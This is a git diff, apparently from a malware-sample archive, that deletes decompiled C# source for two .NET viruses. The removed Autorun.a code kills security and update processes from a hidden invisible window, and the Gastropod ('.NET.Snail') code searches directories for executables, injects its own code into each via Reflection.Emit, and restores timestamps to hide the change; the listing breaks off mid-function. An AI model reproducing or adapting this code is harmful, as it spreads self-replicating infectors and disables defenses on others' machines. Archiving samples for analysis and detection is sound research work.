(this.execCloseSafeSoftUnHaveTitle(processName, "AUTOUPDATE.EXE")) - process.Kill(); - if (this.execCloseSafeSoftUnHaveTitle(processName, "AUTOTRACE.EXE")) - process.Kill(); - if (this.execCloseSafeSoftUnHaveTitle(processName, "AUTODOWN.EXE")) - process.Kill(); - } - } - catch - { - } - } - } - - private bool execCloseSafeSoftHaveTitle(string thisProcess, string title) - { - try - { - return thisProcess.ToString().ToUpper().IndexOf(title.ToUpper()) != -1; - } - catch - { - return false; - } - } - - private bool execCloseSafeSoftUnHaveTitle(string thisProcess, string process) - { - try - { - return thisProcess.ToString().ToUpper().Equals(process.ToUpper()); - } - catch - { - return false; - } - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.components = (IContainer) new Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.timeCloseSafesoft = new System.Windows.Forms.Timer(this.components); - this.timerLong20 = new System.Windows.Forms.Timer(this.components); - this.timerMid5 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.timeCloseSafesoft.Enabled = true; - this.timeCloseSafesoft.Interval = 1500; - this.timeCloseSafesoft.Tick += new EventHandler(this.timeCloseSafesoft_Tick); - this.timerLong20.Enabled = true; - this.timerLong20.Interval = 20000; - this.timerLong20.Tick += new EventHandler(this.timerLong20_Tick); - this.timerMid5.Enabled = true; - this.timerMid5.Interval = 10000; - this.timerMid5.Tick += new EventHandler(this.timerMid5_Tick); - this.AutoScaleMode = AutoScaleMode.None; - this.BackColor = Color.White; - this.BackgroundImageLayout = ImageLayout.None; - this.ClientSize = new Size(112, 27); - this.ControlBox = false; - this.Cursor = Cursors.Hand; - this.FormBorderStyle = FormBorderStyle.None; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.SizeGripStyle = SizeGripStyle.Hide; - this.StartPosition = FormStartPosition.Manual; - this.TransparencyKey = Color.White; - this.WindowState = FormWindowState.Minimized; - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - } - - private enum DriveType - { - NotExist = 1, - FloppyOrUsb = 2, - FixedDisk = 3, - NetDisk = 4, - CDRom = 5, - RAMDisk = 6, - } - - public class LibWrapDateTime - { - [DllImport("Kernel32.dll")] - public static extern void GetLocalTime(Form1.SystemTime st); - - [DllImport("Kernel32.dll")] - public static extern void SetLocalTime(Form1.SystemTime st); - } - - [StructLayout(LayoutKind.Sequential)] - public class SystemTime - { - public ushort wYear; - } - } -} diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.resx b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.resx deleted file mode 100644 index 5b551543..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAN4GAAACAAABAAEAGBgAAAEACADIBgAAFgAAACgAAAAYAAAAMAAAAAEACAAAAAAAQAIAAAAAAAAAAAAAAAEAAAABAAAAAAAA////AP/hrwA+lucAO5XlAAaA8AAHhfMAB4DwADSQ5gBAneYA/N2qAEmf5AB0v/IAuvn9AOf79wD6+voAsff9AHXC9AA4itcAyfz3AP+/ZQD/lRwA/5IQAP+PEAD/kRIAwPz5ADaI1QAGctwA7/r5AOJ6CQD/xnMA/9ycAP/mswD/5rQA/9ybAP/EcQDifAsA7fr4AAZx3AAGcNsA+Pj4AOJ3BQD/26YA//TUAP//8wD/9NMA/9ynAOJ1AgD/woIA/9erAP/hwgD/6c8A/+PDAP/EhQDieQUA4nMCAP+tWwD/xIwA/8+mAP/VswD/1q8A/8udAP++hAD/pk4A4HACAP+FDQD/lTsA/5xQAP+gWgD/l0gA/5AwAP9+AQDgbwIA4XECAP+KCAD/lzEA/5xDAP+eSQD/n0sA/5tGAP+XNAD/iw4A/5AMAP+fMwD/pUMA/6hJAP+hMwDicQIA/44CAP+gJgD/pjIA/6c3APf6+QAIcdwA9/r6AP93AAD/hQAA/4oAAP+WCQD/hAAA4nICAAhx2wAJcNoA/7pWANltAgDZbAIA12wCANpvAgD/s0sA6fv3AARjxAAIovoABpX+AAaX/gAGovYALLz6AASb9AAEiPAAB4nwAAiJ8AAFifEABojwAAiY9wAptfkABGLDAJH2/wAMuPwAPrv/AIf4/wBe4v8ADJf8AAiH9AAIifQADJv8AAyQ+QAMjvkADJT6AAuM9QALiPQADJX8AFfh/wAz2f8AK8z/AARmyQAMufwADJT8AAyT/AAMmPwADJj5AAyO+AARv/8ACWXIAA2E5QAMrPwADYrmAEqN0QAXa88ADYbmAAya/AAMkvgADYPlABdrzgBglM0A+8yQAFmSzwAnbMQABGHDAANgwAAUZ8AAXZDNAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAACQkJABISEgAfHx8ALCwsADk5OQBFRUUAUlJSAF9fXwBsbGwAeHh4AIWFhQCSkpIAn5+fAKurqwC4uLgAxcXFANLS0gDe3t4A6+vrAPD7/wCkoKAAwNzAAPDKpgAAAD4AAABdAAAAfAAAAJsAAAC6AAAA2QAAAPAAJCT/AEhI/wBsbP8AkJD/ALS0/wAAFD4AAB5dAAAofAAAMpsAADy6AABG2QAAVfAAJG3/AEiF/wBsnf8AkLX/ALTN/wAAKj4AAD9dAABUfAAAaZsAAH66AACT2QAAqvAAJLb/AEjC/wBszv8AkNr/ALTm/wAAPj4AAF1dAAB8fAAAm5sAALq6AADZ2QAA8PAAJP//AEj//wBs//8AkP//ALT//wAAPioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApKWmp6enp6enpqipAAAAAAAAAAAAAACbnJ2Rnp6Vn4WflaChogAAAAAAAAAAAACXmJkPD38PD38PD5malwAAAAAAAAAAAACPkJGHkpOUhoKVh5GWjwAAAAAAAAAAAAB8jX4PD38PD38PD36OfAAAAAAAAAAAAAB8gYKDhIWGh4iJiouMfAAAAAAAAAAAAAB8fX4PD38PD38PD36AfAAAAAAAAAAAAABuc3R1dXZ1dXd4eXp7fAAAAAAAAAAAAABubw8PDw9wcQ8PDw9ybgAAAAAAAAAAAABmJWdoaWlqamlpa2xtZQAAAAAAAAAAAABdXldfYGFiYmFjX2QPZQAAAAAAAAAAAAAmD0lYWVpbW1pZWElcJwAAAAAAAAAAAAAnD0lSU1RVVVRWUlcPJwAAAAAAAAAAAAAnD0lKS0xNTk9QUUkPJwAAAAAAAAAAAAAnD0BBQkNEREVGR0gPJwAAAAAAAAAAAAAnDzc4OTo7PD0+PzcPJwAAAAAAAAAAAAAnDy8wMTIzMzQxNTYPJwAAAAAAAAAAAAAnKCkqKywBASwtLiQPJwAAAAAAAAAAAAAbHB0eHyAhISAiIyQlJgAAAAAAAAAAAAASExQVFhYXFxYWGBQZGgAAAAAAAAAAAAALDA0ODw8PDw8PDhARCwAAAAAAAAAAAAAAAwQFBQYGBgYHBwgJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////APwAPwD4AB8A+AAfAPgAHwD4AB8A+AAfAPgAHwD4AB8A+AAfAPgAHwD4AB8A+AAfAPgAHwD4AB8A+AAfAPgAHwD4AB8A+AAfAPgAHwD4AB8A+AAfAPwAPwD///8ACw== - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Program.cs b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Program.cs deleted file mode 100644 index 54c9a9d1..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: redice.Program -// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A08BD253-D698-4C81-8053-905E15E13E56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe - -using System; -using System.Windows.Forms; - -namespace redice -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.cs b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.cs deleted file mode 100644 index 9ec5948a..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: redice.Properties.Resources -// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A08BD253-D698-4C81-8053-905E15E13E56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace redice.Properties -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (redice.Properties.Resources.resourceMan == null) - redice.Properties.Resources.resourceMan = new ResourceManager("redice.Properties.Resources", typeof (redice.Properties.Resources).Assembly); - return redice.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => redice.Properties.Resources.resourceCulture; - set => redice.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.resx b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Settings.cs b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Settings.cs deleted file mode 100644 index e1b7d946..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: redice.Properties.Settings -// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A08BD253-D698-4C81-8053-905E15E13E56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace redice.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.csproj b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.csproj deleted file mode 100644 index 4ae7407d..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.csproj +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Debug - AnyCPU - {6A729B30-F670-4E6F-95FC-EB2E86BB75AA} - WinExe - redice - 1.0.0.0 - redice - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.sln b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.sln deleted file mode 100644 index 9b6fda7a..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "redice", "Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.csproj", "{6A729B30-F670-4E6F-95FC-EB2E86BB75AA}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6A729B30-F670-4E6F-95FC-EB2E86BB75AA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6A729B30-F670-4E6F-95FC-EB2E86BB75AA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6A729B30-F670-4E6F-95FC-EB2E86BB75AA}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6A729B30-F670-4E6F-95FC-EB2E86BB75AA}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/AssemblyInfo.cs b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/MainApp.cs b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/MainApp.cs deleted file mode 100644 index 4d18519a..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/MainApp.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MainApp -// Assembly: sna, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 85B9BA0A-84D0-4A00-94C1-CE02B81D71C1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e.exe - -using kckelhvxlr; -using System.Threading; - -internal class MainApp -{ - public static void Main() - { - Thread thread = new Thread(new ThreadStart(xrieopydqqcD.Go)); - thread.Start(); - Thread.Sleep(30000); - thread.Abort(); - } -} diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.csproj b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.csproj deleted file mode 100644 index 91b35358..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.csproj +++ /dev/null @@ -1,37 +0,0 @@ - - - - - Debug - AnyCPU - {C2F1D96B-D869-4BDB-B883-67681B31397E} - WinExe - sna - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.sln b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.sln deleted file mode 100644 index a4227016..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sna", "Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e.csproj", "{C2F1D96B-D869-4BDB-B883-67681B31397E}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C2F1D96B-D869-4BDB-B883-67681B31397E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C2F1D96B-D869-4BDB-B883-67681B31397E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C2F1D96B-D869-4BDB-B883-67681B31397E}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C2F1D96B-D869-4BDB-B883-67681B31397E}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/kckelhvxlr/xrieopydqqcD.cs b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/kckelhvxlr/xrieopydqqcD.cs deleted file mode 100644 index 7abf3a0d..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/kckelhvxlr/xrieopydqqcD.cs +++ /dev/null @@ -1,1693 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: kckelhvxlr.xrieopydqqcD -// Assembly: sna, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 85B9BA0A-84D0-4A00-94C1-CE02B81D71C1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e.exe - -using Reflector.Disassembler; -using System; -using System.Collections; -using System.Globalization; -using System.IO; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.CompilerServices; -using System.Security.Policy; -using System.Threading; - -namespace kckelhvxlr -{ - internal class xrieopydqqcD - { - private static string vievdjbybiafhG = "[ .NET.Snail - sample CLR virus (c) whale 2004 ]"; - private static xrieopydqqcD.ckefmcnikpjcme nPsiueq = new xrieopydqqcD.ckefmcnikpjcme(6, 15, Environment.TickCount); - private static Random fhekWzTk = new Random(Environment.TickCount); - private static byte[] qquiph; - private static MethodBase Ojiwadtto; - public static bool jwqkZocrojjQhc; - - public xrieopydqqcD(string inFileName, string outFileName) - { - try - { - xrieopydqqcD.jwqkZocrojjQhc = true; - xrieopydqqcD.bktugnjzydr(inFileName, outFileName); - if (xrieopydqqcD.jwqkZocrojjQhc) - return; - xrieopydqqcD.bktugnjzydr(inFileName, outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - } - catch (Exception ex) - { - } - } - - private static bool pbybjr(Type t) => (object) t.Assembly == (object) Assembly.GetExecutingAssembly() && -1 == t.FullName.IndexOf("AssemblyProvider"); - - public static void Go() - { - xrieopydqqcD.qquiph = xrieopydqqcD.plofcXrGdqk(); - string currentDirectory; - do - { - xrieopydqqcD.wmAbffzLtPmijW(); - currentDirectory = Directory.GetCurrentDirectory(); - Directory.SetCurrentDirectory(".."); - } - while (currentDirectory != Directory.GetCurrentDirectory()); - } - - public static void wmAbffzLtPmijW() - { - string[] files = Directory.GetFiles(".", "*.exe"); - if (files.Length == 0) - return; - bool flag = (File.Exists("ILReader.dll") ? 1 : 0) != 0; - if ((flag ? 1 : 0) == 0 && xrieopydqqcD.qquiph != null) - { - FileStream output = new FileStream("ILReader.dll", FileMode.CreateNew, FileAccess.ReadWrite); - if (output != null) - new BinaryWriter((Stream) output).Write(xrieopydqqcD.qquiph); - output.Close(); - } - string[] strArray = files; - int index = 0; - while (true) - { - if (index < strArray.Length) - { - string fileName = Path.GetFileName(strArray[index]); - string withoutExtension = Path.GetFileNameWithoutExtension(fileName); - string str = "_" + fileName; - if (fileName[0] != '_') - { - if ((withoutExtension == Assembly.GetExecutingAssembly().GetName().Name ? 1 : 0) == 0 && !File.Exists(str)) - { - DateTime creationTime = File.GetCreationTime(fileName); - DateTime lastAccessTime1 = File.GetLastAccessTime(fileName); - int num = flag ? 1 : 0; - DateTime lastAccessTime2 = lastAccessTime1; - DateTime lastWriteTime = File.GetLastWriteTime(fileName); - File.Move(fileName, str); - try - { - object[] args = new object[2] - { - (object) str, - (object) fileName - }; - AppDomain domain = AppDomain.CreateDomain("domain"); - Type type = typeof (xrieopydqqcD); - string name = Assembly.GetExecutingAssembly().GetName().Name; - domain.CreateInstance(name, type.FullName, false, BindingFlags.Default, (Binder) null, args, (CultureInfo) null, (object[]) null, (Evidence) null); - AppDomain.Unload(domain); - if (File.Exists(fileName)) - { - File.Delete(str); - xrieopydqqcD.efZexkvcvfwmm(fileName, xrieopydqqcD.qquiph); - File.SetCreationTime(fileName, creationTime); - File.SetLastAccessTime(fileName, lastAccessTime2); - File.SetLastWriteTime(fileName, lastWriteTime); - string path = withoutExtension + ".resources"; - if (File.Exists(path)) - { - File.SetCreationTime(path, creationTime); - File.SetLastAccessTime(path, lastAccessTime2); - File.SetLastWriteTime(path, lastWriteTime); - File.SetAttributes(path, FileAttributes.Hidden); - } - } - else - File.Move(str, fileName); - } - catch (ThreadAbortException ex) - { - File.Move(str, fileName); - return; - } - catch (Exception ex) - { - } - } - } - ++index; - } - else - break; - } - if (flag) - return; - File.Delete("ILReader.dll"); - } - - private static PEFileKinds eRmoDaomful(string filename) - { - FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read); - if (fileStream == null) - return (PEFileKinds) 0; - byte[] buffer = new byte[4]; - fileStream.Seek(60L, SeekOrigin.Begin); - fileStream.Read(buffer, 0, 4); - uint num = (uint) buffer[0] | (uint) buffer[1] >> 8 | (uint) buffer[2] >> 16 | (uint) buffer[3] >> 24; - fileStream.Seek((long) (num + 92U), SeekOrigin.Begin); - fileStream.Read(buffer, 0, 1); - fileStream.Close(); - return buffer[0] == (byte) 3 ? PEFileKinds.ConsoleApplication : PEFileKinds.WindowApplication; - } - - public static void bktugnjzydr(string inFileName, string outFileName) - { - PEFileKinds filetype = xrieopydqqcD.eRmoDaomful(inFileName); - xrieopydqqcD.nnqpftdznilo objects = new xrieopydqqcD.nnqpftdznilo(); - AssemblyBuilder ab = Thread.GetDomain().DefineDynamicAssembly(new AssemblyName() - { - Name = Path.GetFileNameWithoutExtension(outFileName) - }, AssemblyBuilderAccess.RunAndSave); - Assembly asm = Assembly.LoadFrom(inFileName); - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Module[] modules = asm.GetModules(); - int num; - for (int index1 = 0; index1 < modules.Length; index1 = num) - { - Module module1 = modules[index1]; - ModuleBuilder moduleBuilder = ab.DefineDynamicModule(module1.Name.Substring(1), outFileName); - ModuleReader reader1 = new ModuleReader(module1, (IAssemblyProvider) new xrieopydqqcD.AssemblyProvider()); - moduleBuilder.CreateGlobalFunctions(); - Type[] types1 = module1.GetTypes(); - foreach (Type type1 in types1) - { - if (type1.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length == typeof (xrieopydqqcD).GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length && type1.GetMethods().Length == typeof (xrieopydqqcD).GetMethods().Length) - return; - foreach (MethodBase method in type1.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - if ((object) asm.EntryPoint == (object) method) - { - foreach (Module module2 in executingAssembly.GetModules()) - { - ModuleReader reader2 = new ModuleReader(module2, (IAssemblyProvider) new xrieopydqqcD.AssemblyProvider()); - Type[] types2 = module2.GetTypes(); - foreach (Type type2 in types2) - { - if ((object) type2 == (object) typeof (xrieopydqqcD)) - xrieopydqqcD.yvebdpyueqo(type2, (Type) null, moduleBuilder, reader2, objects); - if (type2.FullName.Length > 22) - { - if (type2.FullName.Substring(0, 22) == "Reflector.Disassembler") - xrieopydqqcD.yvebdpyueqo(type2, (Type) null, moduleBuilder, reader2, objects); - } - } - Type[] typeArray1 = types2; - int index2 = 0; - while (true) - { - if (index2 < typeArray1.Length) - { - Type intype = typeArray1[index2]; - objects.sshton(intype, moduleBuilder); - ++index2; - } - else - break; - } - Type[] typeArray2 = types2; - int index3 = 0; - while (true) - { - if (index3 < typeArray2.Length) - { - Type type3 = typeArray2[index3]; - if 